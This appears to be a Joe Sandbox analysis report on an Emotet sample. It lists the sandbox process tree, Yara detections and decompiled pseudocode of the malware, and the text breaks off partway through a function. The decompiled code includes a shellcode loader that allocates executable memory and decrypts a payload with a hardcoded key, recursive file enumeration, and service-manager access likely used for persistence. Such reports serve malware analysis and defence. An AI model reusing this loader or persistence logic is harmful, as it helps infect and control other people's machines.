Path:	C:\Windows\SysWOW64\rasphone\networkitemfactory.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rasphone\networkitemfactory.exe
Imagebase:	0x400000
File size:	310784 bytes
MD5 hash:	1ED37C4A225BBD35716CF241E14541A8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000004.00000002.517659433.0000000000510000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000004.00000002.519092750.00000000020B1000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000004.00000002.519022380.0000000002094000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: svchost.exe PID: 4840 Parent PID: 556

General

Start time:	04:14:16
Start date:	29/09/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 3228 Parent PID: 556

General

Start time:	04:14:20
Start date:	29/09/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 4228 Parent PID: 556

General

Start time:	04:14:26
Start date:	29/09/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 5992 Parent PID: 556

General

Start time:	04:14:27
Start date:	29/09/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 2852 Parent PID: 556

General

Start time:	04:14:28
Start date:	29/09/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 5984 Parent PID: 556

General

Start time:	04:14:29
Start date:	29/09/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: SgrmBroker.exe PID: 1752 Parent PID: 556

General

Start time:	04:14:30
Start date:	29/09/2021
Path:	C:\Windows\System32\SgrmBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\SgrmBroker.exe
Imagebase:	0x7ff6ee970000
File size:	163336 bytes
MD5 hash:	D3170A3F3A9626597EEE1888686E3EA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 5780 Parent PID: 556

General

Start time:	04:14:30
Start date:	29/09/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 328 Parent PID: 556

General

Start time:	04:14:36
Start date:	29/09/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 1560 Parent PID: 556

General

Start time:	04:14:46
Start date:	29/09/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: MpCmdRun.exe PID: 2252 Parent PID: 5780

General

Start time:	04:15:31
Start date:	29/09/2021
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Windows Defender\mpcmdrun.exe' -wdenable
Imagebase:	0x7ff71de40000
File size:	455656 bytes
MD5 hash:	A267555174BFA53844371226F482B86B
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 4636 Parent PID: 2252

General

Start time:	04:15:32
Start date:	29/09/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: RpcNs4.exe PID: 5968 Parent PID: 2092 RpcNs4.exeCOMMON

Execution Graph

Execution Coverage:	2.6%
Dynamic/Decrypted Code Coverage:	53.1%
Signature Coverage:	15.8%
Total number of Nodes:	424
Total number of Limit Nodes:	38

Executed Functions

Function 020B3890, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 189
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 73%

			E020B3890(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				short _v524;
				char _v1044;
				short _v1588;
				intOrPtr _v1590;
				struct _WIN32_FIND_DATAW _v1636;
				void* _v1640;
				intOrPtr _v1652;
				void* __ebx;
				void* __ebp;
				void* _t22;
				intOrPtr* _t24;
				intOrPtr* _t26;
				intOrPtr* _t28;
				signed int _t34;
				int _t40;
				void* _t44;
				signed int _t48;
				intOrPtr* _t52;
				intOrPtr _t57;
				void* _t58;
				void* _t93;
				void* _t94;
				void* _t95;
				void* _t96;
				void* _t97;
				void* _t98;
				void* _t100;

				_t93 = __ecx;
				_t97 = __edx;
				_v1640 = __ecx;
				_t22 = 0x60b2083;
				_t58 = _v1640;
				while(1) {
					L1:
					_t100 = _t22 - 0xd2b506a;
					if(_t100 > 0) {
						break;
					}
					if(_t100 == 0) {
						if( *0x20bde50 == 0) {
							 *0x20bde50 = E020B3DD0(_t58, E020B3E70(0xbb51e2dc), 0x845670b3, _t97);
						}
						_t40 = FindClose(_t58); // executed
						return _t40;
					}
					if(_t22 == 0x14d466) {
						if( *0x20be320 == 0) {
							 *0x20be320 = E020B3DD0(_t58, E020B3E70(0xbb51e2dc), 0xd5cde728, _t97);
						}
						_t44 = FindFirstFileW( &_v524,  &_v1636); // executed
						_t58 = _t44;
						if(_t58 == 0xffffffff) {
							return _t44;
						} else {
							_t22 = 0x635dcc3;
							continue;
						}
					} else {
						if(_t22 == 0x60b2083) {
							_t22 = 0x20f09625;
							continue;
						} else {
							if(_t22 != 0x635dcc3) {
								L27:
								if(_t22 != 0xf0a8a83) {
									continue;
								} else {
									return _t22;
								}
							} else {
								if((_v1636.dwFileAttributes & 0x00000010) == 0) {
									_t48 = _a4( &_v1636, _a8);
									asm("sbb eax, eax");
									_t22 = ( ~_t48 & 0x2a8f2359) + 0xd2b506a;
								} else {
									if(_v1636.cFileName != 0x2e) {
										L12:
										if(_t97 == 0) {
											goto L11;
										} else {
											_t96 = E020B3460(0x20bd310);
											_t52 =  *0x20bdf10;
											if(_t52 == 0) {
												_t52 = E020B3DD0(_t58, E020B3E70(0xe60124ba), 0xec538b3a, _t97);
												 *0x20bdf10 = _t52;
											}
											 *_t52( &_v1044, 0x104, _t96, _t93,  &(_v1636.cFileName));
											E020B3890( &_v1044, _t97, _a4, _a8);
											_t98 = _t98 + 0x1c;
											E020B3400(_t96);
											_t22 = 0x37ba73c3;
										}
									} else {
										_t57 = _v1590;
										if(_t57 == 0 || _t57 == 0x2e && _v1588 == 0) {
											L11:
											_t22 = 0x37ba73c3;
										} else {
											goto L12;
										}
									}
								}
								continue;
							}
						}
					}
					L40:
				}
				if(_t22 == 0x20f09625) {
					_t95 = E020B3460(0x20bd2e0);
					_t24 =  *0x20bdf10;
					if(_t24 == 0) {
						_t24 = E020B3DD0(_t58, E020B3E70(0xe60124ba), 0xec538b3a, _t97);
						 *0x20bdf10 = _t24;
					}
					 *_t24( &_v524, 0x104, _t95, _t93);
					_t26 =  *0x20bddc8;
					_t98 = _t98 + 0x10;
					if(_t26 == 0) {
						_t26 = E020B3DD0(_t58, E020B3E70(0xbb51e2dc), 0x298e8809, _t97);
						 *0x20bddc8 = _t26;
					}
					_t94 =  *_t26();
					_t28 =  *0x20bdbec;
					if(_t28 == 0) {
						_t28 = E020B3DD0(_t58, E020B3E70(0xbb51e2dc), 0x632f374, _t97);
						 *0x20bdbec = _t28;
					}
					 *_t28(_t94, 0, _t95);
					_t93 = _v1652;
					_t22 = 0x14d466;
					goto L1;
				} else {
					if(_t22 != 0x37ba73c3) {
						goto L27;
					} else {
						if( *0x20bdd64 == 0) {
							 *0x20bdd64 = E020B3DD0(_t58, E020B3E70(0xbb51e2dc), 0xf3180d23, _t97);
						}
						_t34 = FindNextFileW(_t58,  &_v1636); // executed
						asm("sbb eax, eax");
						_t22 = ( ~_t34 & 0xf90a8c59) + 0xd2b506a;
						goto L1;
					}
				}
				goto L40;
			}

0x020b389a
0x020b389c
0x020b389e
0x020b38a2
0x020b38a7
0x020b38b0
0x020b38b0
0x020b38b0
0x020b38b5
0x00000000
0x00000000
0x020b38bb
0x020b3b17
0x020b3b2f
0x020b3b2f
0x020b3b35
0x00000000
0x020b3b35
0x020b38c6
0x020b39c8
0x020b39e0
0x020b39e0
0x020b39f2
0x020b39f4
0x020b39f9
0x020b3b41
0x020b39ff
0x020b39ff
0x00000000
0x020b39ff
0x020b38cc
0x020b38d1
0x020b39b7
0x00000000
0x020b38d7
0x020b38dc
0x020b3a56
0x020b3a5b
0x00000000
0x020b3a6b
0x020b3a6b
0x020b3a6b
0x020b38e2
0x020b38e7
0x020b399d
0x020b39a6
0x020b39ad
0x020b38ed
0x020b38f3
0x020b3914
0x020b3916
0x00000000
0x020b3918
0x020b3922
0x020b3924
0x020b392b
0x020b393e
0x020b3943
0x020b3943
0x020b395c
0x020b3978
0x020b397d
0x020b3982
0x020b3987
0x020b3987
0x020b38f5
0x020b38f5
0x020b38fd
0x020b390d
0x020b390d
0x00000000
0x00000000
0x00000000
0x020b38fd
0x020b38f3
0x00000000
0x020b38e7
0x020b38dc
0x020b38d1
0x00000000
0x020b38c6
0x020b3a0e
0x020b3a76
0x020b3a78
0x020b3a7f
0x020b3a92
0x020b3a97
0x020b3a97
0x020b3aab
0x020b3aad
0x020b3ab2
0x020b3ab7
0x020b3aca
0x020b3acf
0x020b3acf
0x020b3ad6
0x020b3ad8
0x020b3adf
0x020b3af2
0x020b3af7
0x020b3af7
0x020b3b00
0x020b3b02
0x020b3b06
0x00000000
0x020b3a10
0x020b3a15
0x00000000
0x020b3a17
0x020b3a1e
0x020b3a36
0x020b3a36
0x020b3a41
0x020b3a45
0x020b3a4c
0x00000000
0x020b3a4c
0x020b3a15
0x00000000

APIs

FindFirstFileW.KERNELBASE(?,?), ref: 020B39F2
FindNextFileW.KERNELBASE(?,?,00000000,0000BD1A,?,00000001), ref: 020B3A41
FindClose.KERNELBASE(?), ref: 020B3B35

Strings

., xrefs: 020B38ED
jP+, xrefs: 020B38B0

Memory Dump Source

Source File: 00000002.00000002.257541494.00000000020B1000.00000020.00000001.sdmp, Offset: 020B0000, based on PE: true

Associated: 00000002.00000002.257535197.00000000020B0000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.257576055.00000000020BD000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_20b0000_RpcNs4.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNext
String ID: .$jP+
API String ID: 3541575487-2294543394
Opcode ID: 62aba54455608884a076cc10aa09650411499db950486a613aee45c2ad6e82b3
Instruction ID: 4920664bef6e13f89de4918a0261ab2e3b851fc73ce3cb483bebd3e1ec39952f
Opcode Fuzzy Hash: 62aba54455608884a076cc10aa09650411499db950486a613aee45c2ad6e82b3
Instruction Fuzzy Hash: 38512474B4830187DB37AB749884AFFB2E6AF85244F3009A9E551C7280EB75DC05AB92

Uniqueness

Uniqueness Score: -1.00%

Function 00401880, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 004018D3

Part of subcall function 004025D7: __FF_MSGBANNER.LIBCMT ref: 004025EE
Part of subcall function 004025D7: __NMSG_WRITE.LIBCMT ref: 004025F5
Part of subcall function 004025D7: RtlAllocateHeap.NTDLL(00610000,00000000,00000001,00000000,00000000,00000000,?,0040D04F,00000000,00000000,00000000,00000000,?,00406E45,00000018,00434500), ref: 0040261A

LoadLibraryA.KERNELBASE(ADVAPI32.DLL,00000000), ref: 004018F8
GetProcAddress.KERNEL32(00000000), ref: 004018FF

Strings

ADVAPI32.DLL, xrefs: 004018EF

Memory Dump Source

Source File: 00000002.00000002.256448974.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.256423838.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256635443.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256647032.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256660274.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256692564.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RpcNs4.jbxd

Similarity

API ID: AddressAllocateHeapLibraryLoadProc_malloc
String ID: ADVAPI32.DLL
API String ID: 4139351243-33758204
Opcode ID: 670f09e3d8b638425d01283d12b95ed64893a93a4cb3760ffa5b5eff12202f68
Instruction ID: 77864cb31303051aa4bb0e4ba01d51cb444543d451e6ae4c272d0dd7b7c99e89
Opcode Fuzzy Hash: 670f09e3d8b638425d01283d12b95ed64893a93a4cb3760ffa5b5eff12202f68
Instruction Fuzzy Hash: E6212631E5038895EB10DFA8AD47BFDBB74AF49700F50127AED85BA1C1EAB45648C3D8

Uniqueness

Uniqueness Score: -1.00%

Function 00402AEC, Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			_entry_(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t17;
				void* _t18;
				void* _t19;
				intOrPtr _t23;
				void* _t24;
				void* _t25;
				void* _t26;
				intOrPtr _t28;
				signed int _t39;
				void* _t49;
				signed int _t52;
				void* _t54;
				void* _t56;

				_t50 = __edi;
				_t49 = __edx;
				E00406001();
				_push(0x14);
				_push(0x434230);
				E00406830(__ebx, __edi, __esi);
				_t52 = E004063B1() & 0x0000ffff;
				E00405FB4(2);
				_t56 =  *0x400000 - 0x5a4d; // 0x5a4d
				if(_t56 == 0) {
					_t17 =  *0x40003c; // 0xf8
					__eflags =  *((intOrPtr*)(_t17 + 0x400000)) - 0x4550;
					if( *((intOrPtr*)(_t17 + 0x400000)) != 0x4550) {
						goto L2;
					} else {
						__eflags =  *((intOrPtr*)(_t17 + 0x400018)) - 0x10b;
						if( *((intOrPtr*)(_t17 + 0x400018)) != 0x10b) {
							goto L2;
						} else {
							_t39 = 0;
							__eflags =  *((intOrPtr*)(_t17 + 0x400074)) - 0xe;
							if( *((intOrPtr*)(_t17 + 0x400074)) > 0xe) {
								__eflags =  *(_t17 + 0x4000e8);
								_t6 =  *(_t17 + 0x4000e8) != 0;
								__eflags = _t6;
								_t39 = 0 | _t6;
							}
						}
					}
				} else {
					L2:
					_t39 = 0;
				}
				 *(_t54 - 0x1c) = _t39;
				_t18 = E0040408A();
				_t57 = _t18;
				if(_t18 == 0) {
					E00402C8C(0x1c);
				}
				_t19 = E0040435E(_t39, _t50, _t57);
				_t58 = _t19;
				if(_t19 == 0) {
					_t19 = E00402C8C(0x10);
				}
				E0040609D(_t19);
				 *(_t54 - 4) =  *(_t54 - 4) & 0x00000000;
				if(E00405991(_t39, _t50, _t52, _t58) < 0) {
					E00402C8C(0x1b);
				}
				 *0x438c14 = GetCommandLineA(); // executed
				_t23 = E004060DD(_t49); // executed
				 *0x4369bc = _t23;
				_t24 = E00405CA4();
				_t60 = _t24;
				if(_t24 < 0) {
					E00403A3B(_t39, _t49, _t50, _t52, _t60, 8);
				}
				_t25 = E00405ED3(_t39, _t49, _t50, _t52);
				_t61 = _t25;
				if(_t25 < 0) {
					E00403A3B(_t39, _t49, _t50, _t52, _t61, 9);
				}
				_t26 = E00403A75(1);
				_t62 = _t26;
				if(_t26 != 0) {
					E00403A3B(_t39, _t49, _t50, _t52, _t62, _t26);
				}
				_t28 = L0040105F(_t62, 0x400000, 0, E004067CA(), _t52); // executed
				_t53 = _t28;
				 *((intOrPtr*)(_t54 - 0x24)) = _t28;
				if(_t39 == 0) {
					E00403D4A(_t53);
				}
				E00403A66();
				 *(_t54 - 4) = 0xfffffffe;
				return E00406875(_t53);
			}

0x00402aec
0x00402aec
0x00402aec
0x00402af6
0x00402af8
0x00402afd
0x00402b07
0x00402b0c
0x00402b17
0x00402b1e
0x00402b24
0x00402b29
0x00402b33
0x00000000
0x00402b35
0x00402b3a
0x00402b41
0x00000000
0x00402b43
0x00402b43
0x00402b45
0x00402b4c
0x00402b4e
0x00402b54
0x00402b54
0x00402b54
0x00402b54
0x00402b4c
0x00402b41
0x00402b20
0x00402b20
0x00402b20
0x00402b20
0x00402b57
0x00402b5a
0x00402b5f
0x00402b61
0x00402b65
0x00402b6a
0x00402b6b
0x00402b70
0x00402b72
0x00402b76
0x00402b7b
0x00402b7c
0x00402b81
0x00402b8c
0x00402b90
0x00402b95
0x00402b9c
0x00402ba1
0x00402ba6
0x00402bab
0x00402bb0
0x00402bb2
0x00402bb6
0x00402bbb
0x00402bbc
0x00402bc1
0x00402bc3
0x00402bc7
0x00402bcc
0x00402bcf
0x00402bd5
0x00402bd7
0x00402bda
0x00402bdf
0x00402bee
0x00402bf3
0x00402bf5
0x00402bfa
0x00402bfd
0x00402bfd
0x00402c02
0x00402c37
0x00402c45

APIs

___security_init_cookie.LIBCMT ref: 00402AEC
___crtGetShowWindowMode.LIBCMT ref: 00402B02

Part of subcall function 004063B1: GetStartupInfoW.KERNEL32(?), ref: 004063BB

_fast_error_exit.LIBCMT ref: 00402B65
_fast_error_exit.LIBCMT ref: 00402B76
__RTC_Initialize.LIBCMT ref: 00402B7C
__ioinit.LIBCMT ref: 00402B85
_fast_error_exit.LIBCMT ref: 00402B90
GetCommandLineA.KERNEL32(00434230,00000014), ref: 00402B96
___crtGetEnvironmentStringsA.LIBCMT ref: 00402BA1
__setargv.LIBCMT ref: 00402BAB
__amsg_exit.LIBCMT ref: 00402BB6
__setenvp.LIBCMT ref: 00402BBC
__amsg_exit.LIBCMT ref: 00402BC7
__cinit.LIBCMT ref: 00402BCF
__amsg_exit.LIBCMT ref: 00402BDA
__wincmdln.LIBCMT ref: 00402BE0

Strings

.$, xrefs: 00402B45
3a, xrefs: 00402B9C

Memory Dump Source

Source File: 00000002.00000002.256448974.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.256423838.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256635443.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256647032.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256660274.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256692564.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RpcNs4.jbxd

Similarity

API ID: __amsg_exit_fast_error_exit$___crt$CommandEnvironmentInfoInitializeLineModeShowStartupStringsWindow___security_init_cookie__cinit__ioinit__setargv__setenvp__wincmdln
String ID: 3a$.$
API String ID: 722230336-2632520786
Opcode ID: 2b8f61f1431ea0df09f1c0164b502e9dea853c94572a4a06b0668eda39d2d80c
Instruction ID: 7ae2d3f055974e6946f000923a398beb9b46f46489c73d20005b371b7e894a64
Opcode Fuzzy Hash: 2b8f61f1431ea0df09f1c0164b502e9dea853c94572a4a06b0668eda39d2d80c
Instruction Fuzzy Hash: E621D6606043119AFA20BFB29A4BB2F26645F0071DF10447FF905BA1C3DEFC9A408A6D

Uniqueness

Uniqueness Score: -1.00%

Function 00402000, Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 122
windowlibrarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E00402000(void* __eflags, struct HACCEL__* _a4, intOrPtr _a16) {
				long _v8;
				intOrPtr _v12;
				struct tagMSG _v40;
				void* _t17;
				intOrPtr _t19;
				void* _t25;
				int _t28;
				int _t31;
				int _t33;
				void* _t38;
				void* _t40;
				long _t43;
				intOrPtr* _t44;
				struct HINSTANCE__* _t45;
				void* _t47;
				void* _t50;
				void* _t51;

				_t47 = 0;
				_t44 = 0;
				_v8 = 0;
				_t17 = L00401078(__eflags); // executed
				if(_t17 == 0) {
					_t40 = L0040100A(L"kernel32.dll");
					_t50 = _t50 + 4;
					if(_t40 != 0) {
						_t44 = GetProcAddress(0x400000, "lhxXfY9mIrDZ");
					}
				}
				_t19 = L00401014(0xeca, 0x8e9, 0x409,  &_v8);
				_t51 = _t50 + 0x10;
				_v12 = _t19;
				if(_t19 != 0) {
					_t43 = _v8;
					_t38 = VirtualAlloc(0, _t43, 0x3000, 0x40); // executed
					_t47 = _t38;
					if(_t47 != 0) {
						 *_t44(_v12, _t43, "*Z59Drrf54QiC$hJ#gOK+69cn8+(xcALhQV>DQd@", 0x29, _t47); // executed
						_t51 = _t51 + 0x14;
					}
				}
				 *_t47();
				_t45 = _a4;
				LoadStringA(_t45, 0x67, 0x436848, 0x64);
				LoadStringA(_t45, 0x6d, 0x4368b0, 0x64);
				LoadStringA(_t45, 0x6e, 0x436918, 0x64);
				L0040107D(_t45);
				_push(_a16);
				_t25 = L0040101E(_t45);
				if(_t25 != 0) {
					_a4 = LoadAcceleratorsA(_t45, 0x6d);
					_t28 = GetMessageA( &_v40, 0, 0, 0);
					__eflags = _t28;
					if(_t28 != 0) {
						do {
							_t31 = TranslateAcceleratorA(_v40, _a4,  &_v40);
							__eflags = _t31;
							if(_t31 == 0) {
								TranslateMessage( &_v40);
								DispatchMessageA( &_v40);
							}
							_t33 = GetMessageA( &_v40, 0, 0, 0);
							__eflags = _t33;
						} while (_t33 != 0);
					}
					return _v40.wParam;
				} else {
					return _t25;
				}
			}

0x00402009
0x0040200b
0x0040200d
0x00402010
0x00402017
0x0040201e
0x00402023
0x00402028
0x0040203a
0x0040203a
0x00402028
0x0040204f
0x00402054
0x00402057
0x0040205c
0x0040205e
0x0040206b
0x00402071
0x00402075
0x00402083
0x00402085
0x00402085
0x00402075
0x00402088
0x0040208a
0x0040209d
0x004020a9
0x004020b5
0x004020b8
0x004020bd
0x004020c1
0x004020cb
0x004020e9
0x004020f2
0x004020f4
0x004020f6
0x00402104
0x0040210e
0x00402114
0x00402116
0x0040211c
0x00402122
0x00402122
0x0040212e
0x00402130
0x00402130
0x00402104
0x0040213d
0x004020d3
0x004020d3
0x004020d3

APIs

GetProcAddress.KERNEL32(00400000,lhxXfY9mIrDZ), ref: 00402034
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 0040206B
LoadStringA.USER32 ref: 0040209D
LoadStringA.USER32 ref: 004020A9
LoadStringA.USER32 ref: 004020B5
LoadAcceleratorsA.USER32 ref: 004020D9
GetMessageA.USER32 ref: 004020F2
TranslateAcceleratorA.USER32(?,?,?), ref: 0040210E
TranslateMessage.USER32(?), ref: 0040211C
DispatchMessageA.USER32 ref: 00402122
GetMessageA.USER32 ref: 0040212E

Strings

lhxXfY9mIrDZ, xrefs: 0040202A
kernel32.dll, xrefs: 00402019
*Z59Drrf54QiC$hJ#gOK+69cn8+(xcALhQV>DQd@, xrefs: 0040207A

Memory Dump Source

Source File: 00000002.00000002.256448974.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.256423838.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256635443.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256647032.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256660274.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256692564.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RpcNs4.jbxd

Similarity

API ID: LoadMessage$String$Translate$AcceleratorAcceleratorsAddressAllocDispatchProcVirtual
String ID: *Z59Drrf54QiC$hJ#gOK+69cn8+(xcALhQV>DQd@$kernel32.dll$lhxXfY9mIrDZ
API String ID: 2593799514-3632223656
Opcode ID: 02997f93728868d16abe2a17e01b56cc79349e2df2566ec91700d16330bbe572
Instruction ID: 1e1217798d64c8bc9b67b94558be025fea950ab5572aa08b8cde754a73d97501
Opcode Fuzzy Hash: 02997f93728868d16abe2a17e01b56cc79349e2df2566ec91700d16330bbe572
Instruction Fuzzy Hash: 1031B672B4030976EB20ABA19D46FAF7A6C9B08B54F100077FF04B61D1D6F9ED1187A9

Uniqueness

Uniqueness Score: -1.00%

Function 020B9700, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 183
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 73%

			E020B9700() {
				char _v524;
				signed int _v528;
				char _v536;
				void* _v544;
				void* __ebx;
				void* _t37;
				void* _t45;
				void* _t54;
				void* _t57;
				void* _t65;
				void* _t69;
				intOrPtr* _t72;
				intOrPtr _t73;
				void* _t74;
				void* _t102;
				void* _t103;
				void* _t104;
				void* _t107;
				void* _t108;

				_t103 = _v528;
				_t37 = 0x582bf38;
				_t102 = 0;
				_t2 = _t102 + 1; // 0x1
				_t73 = _t2;
				goto L1;
				do {
					while(1) {
						L1:
						_t107 = _t37 - 0x16beef78;
						if(_t107 > 0) {
							break;
						}
						if(_t107 == 0) {
							_t74 =  *0x20bde30;
							__eflags = _t74;
							if(_t74 == 0) {
								_t74 = E020B3DD0(_t73, E020B3E70(0xf9ab61cb), 0x423474ef, _t104);
								 *0x20bde30 = _t74;
							}
							_t54 =  *_t74(0, _v528, 0, 0,  *0x20be368 + 0x220); // executed
							__eflags = _t54;
							_t37 = 0x1957e2ae;
							_t102 =  ==  ? _t73 : _t102;
							continue;
						} else {
							_t108 = _t37 - 0x58c56de;
							if(_t108 > 0) {
								__eflags = _t37 - 0x916b55c;
								if(_t37 == 0x916b55c) {
									_t57 =  *0x20bde30;
									__eflags = _t57;
									if(_t57 == 0) {
										_t57 = E020B3DD0(_t73, E020B3E70(0xf9ab61cb), 0x423474ef, _t104);
										 *0x20bde30 = _t57;
									}
									 *_t57(0, 0x25, 0, 0,  &_v524); // executed
									__eflags =  *0x20be368 + 0x440;
									E020B3000( *0x20be368 + 0x440);
									goto L37;
								} else {
									goto L18;
								}
							} else {
								if(_t108 == 0) {
									__eflags =  *0x20bdcb4;
									if( *0x20bdcb4 == 0) {
										 *0x20bdcb4 = E020B3DD0(_t73, E020B3E70(0x60f9cb2), 0x5f982ae8, _t104);
									}
									_t65 = OpenSCManagerW(0, 0, 0xf003f); // executed
									_t103 = _t65;
									__eflags = _t103;
									if(_t103 == 0) {
										_t37 = 0x1a3f7140;
									} else {
										 *((intOrPtr*)( *0x20be368 + 0x478)) = _t73;
										_t37 = 0x24e7c50b;
									}
									continue;
								} else {
									if(_t37 == 0x1fdbe7c) {
										_t69 =  *0x20bdd78;
										__eflags = _t69;
										if(_t69 == 0) {
											_t69 = E020B3DD0(_t73, E020B3E70(0x60f9cb2), 0x70adb3c9, _t104);
											 *0x20bdd78 = _t69;
